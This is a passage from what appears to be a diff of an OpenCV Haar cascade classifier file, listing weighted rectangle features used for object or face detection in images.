9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 12 10 9 6 -1. + <_> + 15 10 3 6 3. + <_> + + <_> + 2 11 6 9 -1. + <_> + 5 11 3 9 2. + <_> + + <_> + 14 5 3 19 -1. + <_> + 15 5 1 19 3. + <_> + + <_> + 6 6 9 6 -1. + <_> + 6 8 9 2 3. + <_> + + <_> + 14 5 3 19 -1. + <_> + 15 5 1 19 3. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 5 21 18 3 -1. + <_> + 5 22 18 1 3. + <_> + + <_> + 1 10 18 4 -1. + <_> + 7 10 6 4 3. + <_> + + <_> + 13 4 8 10 -1. + <_> + 17 4 4 5 2. + <_> + 13 9 4 5 2. + <_> + + <_> + 7 8 9 6 -1. + <_> + 10 8 3 6 3. + <_> + + <_> + 12 9 9 8 -1. + <_> + 15 9 3 8 3. + <_> + + <_> + 0 6 5 12 -1. + <_> + 0 10 5 4 3. + <_> + + <_> + 7 6 14 6 -1. + <_> + 14 6 7 3 2. + <_> + 7 9 7 3 2. + <_> + + <_> + 7 5 3 19 -1. + <_> + 8 5 1 19 3. + <_> + + <_> + 8 4 15 20 -1. + <_> + 13 4 5 20 3. + <_> + + <_> + 1 4 15 20 -1. + <_> + 6 4 5 20 3. + <_> + + <_> + 13 10 6 6 -1. + <_> + 13 10 3 6 2. + <_> + + <_> + 5 10 6 6 -1. + <_> + 8 10 3 6 2. + <_> + + <_> + 14 2 6 14 -1. + <_> + 17 2 3 7 2. + <_> + 14 9 3 7 2. + <_> + + <_> + 4 2 6 14 -1. + <_> + 4 2 3 7 2. + <_> + 7 9 3 7 2. + <_> + + <_> + 12 4 6 7 -1. + <_> + 12 4 3 7 2. + <_> + + <_> + 9 4 6 9 -1. + <_> + 11 4 2 9 3. + <_> + + <_> + 11 4 8 10 -1. + <_> + 11 4 4 10 2. + <_> + + <_> + 5 4 8 10 -1. + <_> + 9 4 4 10 2. + <_> + + <_> + 8 18 10 6 -1. + <_> + 8 20 10 2 3. + <_> + + <_> + 1 18 21 6 -1. + <_> + 1 20 21 2 3. + <_> + + <_> + 9 2 12 6 -1. + <_> + 9 2 6 6 2. + <_> + + <_> + 3 2 12 6 -1. + <_> + 9 2 6 6 2. + <_> + + <_> + 12 5 12 6 -1. + <_> + 18 5 6 3 2. + <_> + 12 8 6 3 2. + <_> + + <_> + 8 8 6 9 -1. + <_> + 8 11 6 3 3. + <_> + + <_> + 2 7 20 6 -1. + <_> + 2 9 20 2 3. + <_> + + <_> + 0 5 12 6 -1. + <_> + 0 5 6 3 2. + <_> + 6 8 6 3 2. + <_> + + <_> + 14 14 8 10 -1. + <_> + 18 14 4 5 2. + <_> + 14 19 4 5 2. + <_> + + <_> + 2 14 8 10 -1. + <_> + 2 14 4 5 2. + <_> + 6 19 4 5 2. + <_> + + <_> + 2 11 20 13 -1. + <_> + 2 11 10 13 2. + <_> + + <_> + 6 9 12 5 -1. + <_> + 12 9 6 5 2. + <_> + + <_> + 5 6 16 6 -1. + <_> + 13 6 8 3 2. + <_> + 5 9 8 3 2. + <_> + + <_> + 1 19 9 4 -1. + <_> + 1 21 9 2 2. + <_> + + <_> + 7 5 12 5 -1. + <_> + 11 5 4 5 3. + <_> + + <_> + 3 5 14 12 -1. + <_> + 3 5 7 6 2. + <_> + 10 11 7 6 2. + <_> + + <_> + 9 4 9 6 -1. + <_> + 12 4 3 6 3. + <_> + + <_> + 2 6 19 3 -1. + <_> + 2 7 19 1 3. + <_> + + <_> + 18 10 6 9 -1. + <_> + 18 13 6 3 3. + <_> + + <_> + 3 7 18 2 -1. + <_> + 3 8 18 1 2. + <_> + + <_> + 20 2 4 18 -1. + <_> + 22 2 2 9 2. + <_> + 20 11 2 9 2. + <_> + + <_> + 2 18 20 3 -1. + <_> + 2 19 20 1 3. + <_> + + <_> + 1 9 22 3 -1. + <_> + 1 10 22 1 3. + <_> + + <_> + 0 2 4 18 -1. + <_> + 0 2 2 9 2. + <_> + 2 11 2 9 2. + <_> + + <_> + 19 0 4 23 -1. + <_> + 19 0 2 23 2. + <_> + + <_> + 0 3 6 19 -1. + <_> + 3 3 3 19 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 20 2 2 9 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 7 0 12 12 -1. + <_> + 13 0 6 6 2. + <_> + 7 6 6 6 2. + <_> + + <_> + 0 3 24 6 -1. + <_> + 0 3 12 3 2. + <_> + 12 6 12 3 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 8 9 4 15 -1. + <_> + 8 14 4 5 3. + <_> + + <_> + 4 11 17 6 -1. + <_> + 4 14 17 3 2. + <_> + + <_> + 2 5 18 8 -1. + <_> + 2 5 9 4 2. + <_> + 11 9 9 4 2. + <_> + + <_> + 7 6 14 6 -1. + <_> + 14 6 7 3 2. + <_> + 7 9 7 3 2. + <_> + + <_> + 3 6 14 6 -1. + <_> + 3 6 7 3 2. + <_> + 10 9 7 3 2. + <_> + + <_> + 16 5 3 18 -1. + <_> + 17 5 1 18 3. + <_> + + <_> + 5 5 3 18 -1. + <_> + 6 5 1 18 3. + <_> + + <_> + 10 10 14 4 -1. + <_> + 10 12 14 2 2. + <_> + + <_> + 4 10 9 4 -1. + <_> + 4 12 9 2 2. + <_> + + <_> + 2 0 18 9 -1. + <_> + 2 3 18 3 3. + <_> + + <_> + 6 3 12 8 -1. + <_> + 10 3 4 8 3. + <_> + + <_> + 1 1 8 5 -1. + <_> + 5 1 4 5 2. + <_> + + <_> + 12 7 7 8 -1. + <_> + 12 11 7 4 2. + <_> + + <_> + 0 12 22 4 -1. + <_> + 0 14 22 2 2. + <_> + + <_> + 15 6 4 15 -1. + <_> + 15 11 4 5 3. + <_> + + <_> + 5 7 7 8 -1. + <_> + 5 11 7 4 2. + <_> + + <_> + 8 18 9 4 -1. + <_> + 8 20 9 2 2. + <_> + + <_> + 1 2 22 4 -1. + <_> + 1 4 22 2 2. + <_> + + <_> + 17 3 6 17 -1. + <_> + 19 3 2 17 3. + <_> + + <_> + 8 2 8 18 -1. + <_> + 8 11 8 9 2. + <_> + + <_> + 17 0 6 12 -1. + <_> + 20 0 3 6 2. + <_> + 17 6 3 6 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 15 5 9 12 -1. + <_> + 15 11 9 6 2. + <_> + + <_> + 2 22 18 2 -1. + <_> + 2 23 18 1 2. + <_> + + <_> + 10 10 12 6 -1. + <_> + 16 10 6 3 2. + <_> + 10 13 6 3 2. + <_> + + <_> + 0 1 4 11 -1. + <_> + 2 1 2 11 2. + <_> + + <_> + 20 0 4 10 -1. + <_> + 20 0 2 10 2. + <_> + + <_> + 1 3 6 17 -1. + <_> + 3 3 2 17 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 13 8 9 -1. + <_> + 0 16 8 3 3. + <_> + + <_> + 16 8 6 12 -1. + <_> + 16 12 6 4 3. + <_> + + <_> + 2 8 6 12 -1. + <_> + 2 12 6 4 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 1 5 19 3 -1. + <_> + 1 6 19 1 3. + <_> + + <_> + 11 8 9 7 -1. + <_> + 14 8 3 7 3. + <_> + + <_> + 3 8 12 9 -1. + <_> + 3 11 12 3 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 10 0 4 12 -1. + <_> + 10 6 4 6 2. + <_> + + <_> + 3 9 18 14 -1. + <_> + 3 9 9 14 2. + <_> + + <_> + 0 0 4 9 -1. + <_> + 2 0 2 9 2. + <_> + + <_> + 12 5 4 18 -1. + <_> + 12 5 2 18 2. + <_> + + <_> + 8 5 4 18 -1. + <_> + 10 5 2 18 2. + <_> + + <_> + 10 5 6 10 -1. + <_> + 12 5 2 10 3. + <_> + + <_> + 9 4 4 11 -1. + <_> + 11 4 2 11 2. + <_> + + <_> + 4 16 18 3 -1. + <_> + 4 17 18 1 3. + <_> + + <_> + 0 16 20 3 -1. + <_> + 0 17 20 1 3. + <_> + + <_> + 9 9 6 12 -1. + <_> + 9 13 6 4 3. + <_> + + <_> + 8 13 8 8 -1. + <_> + 8 17 8 4 2. + <_> + + <_> + 13 10 3 12 -1. + <_> + 13 16 3 6 2. + <_> + + <_> + 5 9 14 14 -1. + <_> + 5 9 7 7 2. + <_> + 12 16 7 7 2. + <_> + + <_> + 0 0 24 10 -1. + <_> + 12 0 12 5 2. + <_> + 0 5 12 5 2. + <_> + + <_> + 1 11 18 2 -1. + <_> + 1 12 18 1 2. + <_> + + <_> + 19 5 5 12 -1. + <_> + 19 9 5 4 3. + <_> + + <_> + 0 5 5 12 -1. + <_> + 0 9 5 4 3. + <_> + + <_> + 16 6 8 18 -1. + <_> + 20 6 4 9 2. + <_> + 16 15 4 9 2. + <_> + + <_> + 0 6 8 18 -1. + <_> + 0 6 4 9 2. + <_> + 4 15 4 9 2. + <_> + + <_> + 12 5 12 12 -1. + <_> + 18 5 6 6 2. + <_> + 12 11 6 6 2. + <_> + + <_> + 7 6 6 9 -1. + <_> + 9 6 2 9 3. + <_> + + <_> + 9 13 6 11 -1. + <_> + 11 13 2 11 3. + <_> + + <_> + 0 5 12 12 -1. + <_> + 0 5 6 6 2. + <_> + 6 11 6 6 2. + <_> + + <_> + 1 2 23 3 -1. + <_> + 1 3 23 1 3. + <_> + + <_> + 1 15 19 3 -1. + <_> + 1 16 19 1 3. + <_> + + <_> + 13 17 11 4 -1. + <_> + 13 19 11 2 2. + <_> + + <_> + 0 13 8 5 -1. + <_> + 4 13 4 5 2. + <_> + + <_> + 12 10 10 4 -1. + <_> + 12 10 5 4 2. + <_> + + <_> + 4 6 9 9 -1. + <_> + 4 9 9 3 3. + <_> + + <_> + 15 14 9 6 -1. + <_> + 15 16 9 2 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 1 14 9 2 3. + <_> + + <_> + 3 10 20 8 -1. + <_> + 13 10 10 4 2. + <_> + 3 14 10 4 2. + <_> + + <_> + 2 0 9 18 -1. + <_> + 5 0 3 18 3. + <_> + + <_> + 13 11 9 10 -1. + <_> + 16 11 3 10 3. + <_> + + <_> + 1 2 8 5 -1. + <_> + 5 2 4 5 2. + <_> + + <_> + 3 4 21 6 -1. + <_> + 10 4 7 6 3. + <_> + + <_> + 7 0 10 14 -1. + <_> + 7 0 5 7 2. + <_> + 12 7 5 7 2. + <_> + + <_> + 12 17 12 4 -1. + <_> + 12 19 12 2 2. + <_> + + <_> + 0 6 23 4 -1. + <_> + 0 8 23 2 2. + <_> + + <_> + 13 10 8 10 -1. + <_> + 17 10 4 5 2. + <_> + 13 15 4 5 2. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 15 16 9 4 -1. + <_> + 15 18 9 2 2. + <_> + + <_> + 0 16 9 4 -1. + <_> + 0 18 9 2 2. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 6 -1. + <_> + 8 11 3 6 2. + <_> + + <_> + 0 3 24 6 -1. + <_> + 12 3 12 3 2. + <_> + 0 6 12 3 2. + <_> + + <_> + 2 4 18 3 -1. + <_> + 2 5 18 1 3. + <_> + + <_> + 0 0 24 4 -1. + <_> + 12 0 12 2 2. + <_> + 0 2 12 2 2. + <_> + + <_> + 1 16 18 3 -1. + <_> + 1 17 18 1 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 8 8 6 10 -1. + <_> + 10 8 2 10 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 8 8 5 8 -1. + <_> + 8 12 5 4 2. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 6 5 6 11 -1. + <_> + 8 5 2 11 3. + <_> + + <_> + 13 6 8 9 -1. + <_> + 13 9 8 3 3. + <_> + + <_> + 1 7 21 6 -1. + <_> + 1 9 21 2 3. + <_> + + <_> + 15 5 3 12 -1. + <_> + 15 11 3 6 2. + <_> + + <_> + 6 9 11 12 -1. + <_> + 6 13 11 4 3. + <_> + + <_> + 13 8 10 8 -1. + <_> + 18 8 5 4 2. + <_> + 13 12 5 4 2. + <_> + + <_> + 5 8 12 3 -1. + <_> + 11 8 6 3 2. + <_> + + <_> + 6 11 18 4 -1. + <_> + 12 11 6 4 3. + <_> + + <_> + 0 0 22 22 -1. + <_> + 0 11 22 11 2. + <_> + + <_> + 11 2 6 8 -1. + <_> + 11 6 6 4 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 8 3 6 14 -1. + <_> + 8 3 3 7 2. + <_> + 11 10 3 7 2. + <_> + + <_> + 3 10 18 8 -1. + <_> + 9 10 6 8 3. + <_> + + <_> + 10 0 3 14 -1. + <_> + 10 7 3 7 2. + <_> + + <_> + 4 3 16 20 -1. + <_> + 4 13 16 10 2. + <_> + + <_> + 9 4 6 10 -1. + <_> + 11 4 2 10 3. + <_> + + <_> + 5 0 16 4 -1. + <_> + 5 2 16 2 2. + <_> + + <_> + 2 5 18 4 -1. + <_> + 8 5 6 4 3. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 8 4 8 5 -1. + <_> + 12 4 4 5 2. + <_> + + <_> + 12 10 10 4 -1. + <_> + 12 10 5 4 2. + <_> + + <_> + 2 10 10 4 -1. + <_> + 7 10 5 4 2. + <_> + + <_> + 7 11 12 5 -1. + <_> + 11 11 4 5 3. + <_> + + <_> + 3 10 8 10 -1. + <_> + 3 10 4 5 2. + <_> + 7 15 4 5 2. + <_> + + <_> + 11 12 9 8 -1. + <_> + 14 12 3 8 3. + <_> + + <_> + 0 21 24 3 -1. + <_> + 8 21 8 3 3. + <_> + + <_> + 3 20 18 4 -1. + <_> + 9 20 6 4 3. + <_> + + <_> + 1 15 9 6 -1. + <_> + 1 17 9 2 3. + <_> + + <_> + 11 17 10 4 -1. + <_> + 11 19 10 2 2. + <_> + + <_> + 9 12 4 12 -1. + <_> + 9 18 4 6 2. + <_> + + <_> + 9 6 9 6 -1. + <_> + 12 6 3 6 3. + <_> + + <_> + 1 13 6 9 -1. + <_> + 1 16 6 3 3. + <_> + + <_> + 6 16 12 4 -1. + <_> + 6 18 12 2 2. + <_> + + <_> + 1 5 20 3 -1. + <_> + 1 6 20 1 3. + <_> + + <_> + 8 1 9 9 -1. + <_> + 8 4 9 3 3. + <_> + + <_> + 2 19 9 4 -1. + <_> + 2 21 9 2 2. + <_> + + <_> + 11 1 4 18 -1. + <_> + 11 7 4 6 3. + <_> + + <_> + 7 2 8 12 -1. + <_> + 7 2 4 6 2. + <_> + 11 8 4 6 2. + <_> + + <_> + 11 10 9 8 -1. + <_> + 14 10 3 8 3. + <_> + + <_> + 5 11 12 5 -1. + <_> + 9 11 4 5 3. + <_> + + <_> + 11 9 9 6 -1. + <_> + 14 9 3 6 3. + <_> + + <_> + 5 10 6 9 -1. + <_> + 7 10 2 9 3. + <_> + + <_> + 4 7 5 12 -1. + <_> + 4 11 5 4 3. + <_> + + <_> + 2 0 21 6 -1. + <_> + 9 0 7 6 3. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 9 0 6 15 -1. + <_> + 11 0 2 15 3. + <_> + + <_> + 2 2 18 2 -1. + <_> + 2 3 18 1 2. + <_> + + <_> + 8 17 8 6 -1. + <_> + 8 20 8 3 2. + <_> + + <_> + 3 0 18 2 -1. + <_> + 3 1 18 1 2. + <_> + + <_> + 8 0 9 6 -1. + <_> + 11 0 3 6 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 6 7 12 5 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 0 3 6 9 -1. + <_> + 2 3 2 9 3. + <_> + + <_> + 20 2 4 9 -1. + <_> + 20 2 2 9 2. + <_> + + <_> + 0 2 4 9 -1. + <_> + 2 2 2 9 2. + <_> + + <_> + 0 1 24 4 -1. + <_> + 12 1 12 2 2. + <_> + 0 3 12 2 2. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 0 15 19 3 -1. + <_> + 0 16 19 1 3. + <_> + + <_> + 1 5 22 12 -1. + <_> + 12 5 11 6 2. + <_> + 1 11 11 6 2. + <_> + + <_> + 5 13 6 6 -1. + <_> + 8 13 3 6 2. + <_> + + <_> + 4 2 20 3 -1. + <_> + 4 3 20 1 3. + <_> + + <_> + 8 14 6 10 -1. + <_> + 10 14 2 10 3. + <_> + + <_> + 6 12 16 6 -1. + <_> + 14 12 8 3 2. + <_> + 6 15 8 3 2. + <_> + + <_> + 2 13 8 9 -1. + <_> + 2 16 8 3 3. + <_> + + <_> + 11 8 6 14 -1. + <_> + 14 8 3 7 2. + <_> + 11 15 3 7 2. + <_> + + <_> + 2 12 16 6 -1. + <_> + 2 12 8 3 2. + <_> + 10 15 8 3 2. + <_> + + <_> + 5 16 16 8 -1. + <_> + 5 20 16 4 2. + <_> + + <_> + 9 1 4 12 -1. + <_> + 9 7 4 6 2. + <_> + + <_> + 8 2 8 10 -1. + <_> + 12 2 4 5 2. + <_> + 8 7 4 5 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 6 6 3 2. + <_> + 12 9 6 3 2. + <_> + + <_> + 10 7 6 9 -1. + <_> + 12 7 2 9 3. + <_> + + <_> + 0 0 8 12 -1. + <_> + 0 0 4 6 2. + <_> + 4 6 4 6 2. + <_> + + <_> + 18 8 6 9 -1. + <_> + 18 11 6 3 3. + <_> + + <_> + 2 12 6 6 -1. + <_> + 5 12 3 6 2. + <_> + + <_> + 3 21 21 3 -1. + <_> + 10 21 7 3 3. + <_> + + <_> + 2 0 16 6 -1. + <_> + 2 3 16 3 2. + <_> + + <_> + 13 6 7 6 -1. + <_> + 13 9 7 3 2. + <_> + + <_> + 6 4 4 14 -1. + <_> + 6 11 4 7 2. + <_> + + <_> + 9 7 6 9 -1. + <_> + 11 7 2 9 3. + <_> + + <_> + 7 8 6 14 -1. + <_> + 7 8 3 7 2. + <_> + 10 15 3 7 2. + <_> + + <_> + 18 8 4 16 -1. + <_> + 18 16 4 8 2. + <_> + + <_> + 9 14 6 10 -1. + <_> + 11 14 2 10 3. + <_> + + <_> + 6 11 12 5 -1. + <_> + 10 11 4 5 3. + <_> + + <_> + 0 12 23 3 -1. + <_> + 0 13 23 1 3. + <_> + + <_> + 13 0 6 12 -1. + <_> + 15 0 2 12 3. + <_> + + <_> + 0 10 12 5 -1. + <_> + 4 10 4 5 3. + <_> + + <_> + 13 2 10 4 -1. + <_> + 13 4 10 2 2. + <_> + + <_> + 5 0 6 12 -1. + <_> + 7 0 2 12 3. + <_> + + <_> + 11 6 9 6 -1. + <_> + 14 6 3 6 3. + <_> + + <_> + 4 6 9 6 -1. + <_> + 7 6 3 6 3. + <_> + + <_> + 6 11 18 13 -1. + <_> + 12 11 6 13 3. + <_> + + <_> + 0 11 18 13 -1. + <_> + 6 11 6 13 3. + <_> + + <_> + 12 16 12 6 -1. + <_> + 16 16 4 6 3. + <_> + + <_> + 0 6 21 3 -1. + <_> + 0 7 21 1 3. + <_> + + <_> + 12 16 12 6 -1. + <_> + 16 16 4 6 3. + <_> + + <_> + 5 7 6 14 -1. + <_> + 5 14 6 7 2. + <_> + + <_> + 5 10 19 2 -1. + <_> + 5 11 19 1 2. + <_> + + <_> + 5 4 14 4 -1. + <_> + 5 6 14 2 2. + <_> + + <_> + 3 18 18 4 -1. + <_> + 9 18 6 4 3. + <_> + + <_> + 7 0 4 9 -1. + <_> + 9 0 2 9 2. + <_> + + <_> + 13 3 11 4 -1. + <_> + 13 5 11 2 2. + <_> + + <_> + 2 0 9 6 -1. + <_> + 5 0 3 6 3. + <_> + + <_> + 19 1 4 23 -1. + <_> + 19 1 2 23 2. + <_> + + <_> + 1 1 4 23 -1. + <_> + 3 1 2 23 2. + <_> + + <_> + 5 16 18 3 -1. + <_> + 5 17 18 1 3. + <_> + + <_> + 0 3 11 4 -1. + <_> + 0 5 11 2 2. + <_> + + <_> + 2 16 20 3 -1. + <_> + 2 17 20 1 3. + <_> + + <_> + 5 3 13 4 -1. + <_> + 5 5 13 2 2. + <_> + + <_> + 1 9 22 15 -1. + <_> + 1 9 11 15 2. + <_> + + <_> + 3 4 14 3 -1. + <_> + 10 4 7 3 2. + <_> + + <_> + 8 7 10 4 -1. + <_> + 8 7 5 4 2. + <_> + + <_> + 6 7 10 4 -1. + <_> + 11 7 5 4 2. + <_> + + <_> + 10 4 6 9 -1. + <_> + 12 4 2 9 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 4 12 3 6 3. + <_> + + <_> + 8 3 8 10 -1. + <_> + 12 3 4 5 2. + <_> + 8 8 4 5 2. + <_> + + <_> + 3 6 16 6 -1. + <_> + 3 6 8 3 2. + <_> + 11 9 8 3 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 5 9 14 3 2. + <_> + + <_> + 4 3 9 6 -1. + <_> + 4 5 9 2 3. + <_> + + <_> + 6 3 18 2 -1. + <_> + 6 4 18 1 2. + <_> + + <_> + 7 6 9 6 -1. + <_> + 10 6 3 6 3. + <_> + + <_> + 0 1 24 3 -1. + <_> + 0 2 24 1 3. + <_> + + <_> + 0 17 10 6 -1. + <_> + 0 19 10 2 3. + <_> + + <_> + 3 18 18 3 -1. + <_> + 3 19 18 1 3. + <_> + + <_> + 2 5 6 16 -1. + <_> + 2 5 3 8 2. + <_> + 5 13 3 8 2. + <_> + + <_> + 7 6 11 6 -1. + <_> + 7 8 11 2 3. + <_> + + <_> + 5 2 12 22 -1. + <_> + 5 13 12 11 2. + <_> + + <_> + 10 7 4 10 -1. + <_> + 10 12 4 5 2. + <_> + + <_> + 9 0 4 18 -1. + <_> + 9 6 4 6 3. + <_> + + <_> + 18 8 6 9 -1. + <_> + 18 11 6 3 3. + <_> + + <_> + 4 7 15 10 -1. + <_> + 9 7 5 10 3. + <_> + + <_> + 10 5 6 9 -1. + <_> + 12 5 2 9 3. + <_> + + <_> + 9 9 6 10 -1. + <_> + 11 9 2 10 3. + <_> + + <_> + 11 14 6 10 -1. + <_> + 13 14 2 10 3. + <_> + + <_> + 7 14 6 10 -1. + <_> + 9 14 2 10 3. + <_> + + <_> + 4 8 16 9 -1. + <_> + 4 11 16 3 3. + <_> + + <_> + 2 11 20 3 -1. + <_> + 2 12 20 1 3. + <_> + + <_> + 13 0 4 13 -1. + <_> + 13 0 2 13 2. + <_> + + <_> + 7 0 4 13 -1. + <_> + 9 0 2 13 2. + <_> + + <_> + 3 1 18 7 -1. + <_> + 9 1 6 7 3. + <_> + + <_> + 1 11 6 9 -1. + <_> + 1 14 6 3 3. + <_> + + <_> + 8 18 9 6 -1. + <_> + 8 20 9 2 3. + <_> + + <_> + 3 9 15 6 -1. + <_> + 3 11 15 2 3. + <_> + + <_> + 5 10 19 2 -1. + <_> + 5 11 19 1 2. + <_> + + <_> + 8 6 7 16 -1. + <_> + 8 14 7 8 2. + <_> + + <_> + 9 14 9 6 -1. + <_> + 9 16 9 2 3. + <_> + + <_> + 0 7 8 12 -1. + <_> + 0 11 8 4 3. + <_> + + <_> + 6 4 18 3 -1. + <_> + 6 5 18 1 3. + <_> + + <_> + 0 16 12 6 -1. + <_> + 4 16 4 6 3. + <_> + + <_> + 13 13 9 4 -1. + <_> + 13 15 9 2 2. + <_> + + <_> + 5 8 14 14 -1. + <_> + 5 8 7 7 2. + <_> + 12 15 7 7 2. + <_> + + <_> + 1 16 22 6 -1. + <_> + 12 16 11 3 2. + <_> + 1 19 11 3 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 9 5 10 10 -1. + <_> + 14 5 5 5 2. + <_> + 9 10 5 5 2. + <_> + + <_> + 5 5 10 10 -1. + <_> + 5 5 5 5 2. + <_> + 10 10 5 5 2. + <_> + + <_> + 4 6 16 6 -1. + <_> + 12 6 8 3 2. + <_> + 4 9 8 3 2. + <_> + + <_> + 0 7 6 9 -1. + <_> + 0 10 6 3 3. + <_> + + <_> + 16 10 8 14 -1. + <_> + 20 10 4 7 2. + <_> + 16 17 4 7 2. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 18 6 6 2. + <_> + + <_> + 8 10 8 12 -1. + <_> + 12 10 4 6 2. + <_> + 8 16 4 6 2. + <_> + + <_> + 8 0 4 9 -1. + <_> + 10 0 2 9 2. + <_> + + <_> + 10 4 8 16 -1. + <_> + 14 4 4 8 2. + <_> + 10 12 4 8 2. + <_> + + <_> + 7 10 10 6 -1. + <_> + 7 12 10 2 3. + <_> + + <_> + 5 6 14 14 -1. + <_> + 12 6 7 7 2. + <_> + 5 13 7 7 2. + <_> + + <_> + 2 11 20 2 -1. + <_> + 2 12 20 1 2. + <_> + + <_> + 18 8 4 16 -1. + <_> + 18 16 4 8 2. + <_> + + <_> + 1 11 12 10 -1. + <_> + 1 11 6 5 2. + <_> + 7 16 6 5 2. + <_> + + <_> + 6 9 12 4 -1. + <_> + 6 11 12 2 2. + <_> + + <_> + 9 12 6 7 -1. + <_> + 12 12 3 7 2. + <_> + + <_> + 10 4 8 16 -1. + <_> + 14 4 4 8 2. + <_> + 10 12 4 8 2. + <_> + + <_> + 6 4 8 16 -1. + <_> + 6 4 4 8 2. + <_> + 10 12 4 8 2. + <_> + + <_> + 8 9 9 6 -1. + <_> + 11 9 3 6 3. + <_> + + <_> + 1 5 16 12 -1. + <_> + 1 5 8 6 2. + <_> + 9 11 8 6 2. + <_> + + <_> + 9 9 6 8 -1. + <_> + 9 9 3 8 2. + <_> + + <_> + 6 0 3 18 -1. + <_> + 7 0 1 18 3. + <_> + + <_> + 17 9 5 14 -1. + <_> + 17 16 5 7 2. + <_> + + <_> + 2 9 5 14 -1. + <_> + 2 16 5 7 2. + <_> + + <_> + 7 4 10 6 -1. + <_> + 7 7 10 3 2. + <_> + + <_> + 1 3 23 18 -1. + <_> + 1 9 23 6 3. + <_> + + <_> + 1 1 21 3 -1. + <_> + 8 1 7 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 3 18 12 6 -1. + <_> + 3 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 16 8 8 16 -1. + <_> + 20 8 4 8 2. + <_> + 16 16 4 8 2. + <_> + + <_> + 0 19 24 4 -1. + <_> + 8 19 8 4 3. + <_> + + <_> + 16 8 8 16 -1. + <_> + 20 8 4 8 2. + <_> + 16 16 4 8 2. + <_> + + <_> + 0 8 8 16 -1. + <_> + 0 8 4 8 2. + <_> + 4 16 4 8 2. + <_> + + <_> + 8 12 8 10 -1. + <_> + 8 17 8 5 2. + <_> + + <_> + 5 7 5 8 -1. + <_> + 5 11 5 4 2. + <_> + + <_> + 4 1 19 2 -1. + <_> + 4 2 19 1 2. + <_> + + <_> + 0 12 24 9 -1. + <_> + 8 12 8 9 3. + <_> + + <_> + 6 0 13 8 -1. + <_> + 6 4 13 4 2. + <_> + + <_> + 0 0 24 3 -1. + <_> + 0 1 24 1 3. + <_> + + <_> + 20 3 4 11 -1. + <_> + 20 3 2 11 2. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 6 11 12 8 -1. + <_> + 12 11 6 4 2. + <_> + 6 15 6 4 2. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 0 14 9 6 -1. + <_> + 0 16 9 2 3. + <_> + + <_> + 20 3 4 9 -1. + <_> + 20 3 2 9 2. + <_> + + <_> + 0 3 4 9 -1. + <_> + 2 3 2 9 2. + <_> + + <_> + 15 0 9 19 -1. + <_> + 18 0 3 19 3. + <_> + + <_> + 0 0 9 19 -1. + <_> + 3 0 3 19 3. + <_> + + <_> + 13 11 6 8 -1. + <_> + 13 11 3 8 2. + <_> + + <_> + 5 11 6 8 -1. + <_> + 8 11 3 8 2. + <_> + + <_> + 5 11 19 3 -1. + <_> + 5 12 19 1 3. + <_> + + <_> + 3 20 18 4 -1. + <_> + 9 20 6 4 3. + <_> + + <_> + 6 6 16 6 -1. + <_> + 6 8 16 2 3. + <_> + + <_> + 6 0 9 6 -1. + <_> + 9 0 3 6 3. + <_> + + <_> + 10 3 4 14 -1. + <_> + 10 10 4 7 2. + <_> + + <_> + 1 5 15 12 -1. + <_> + 1 11 15 6 2. + <_> + + <_> + 11 12 8 5 -1. + <_> + 11 12 4 5 2. + <_> + + <_> + 5 0 6 9 -1. + <_> + 7 0 2 9 3. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 5 5 12 8 -1. + <_> + 5 5 6 4 2. + <_> + 11 9 6 4 2. + <_> + + <_> + 13 12 11 6 -1. + <_> + 13 14 11 2 3. + <_> + + <_> + 0 13 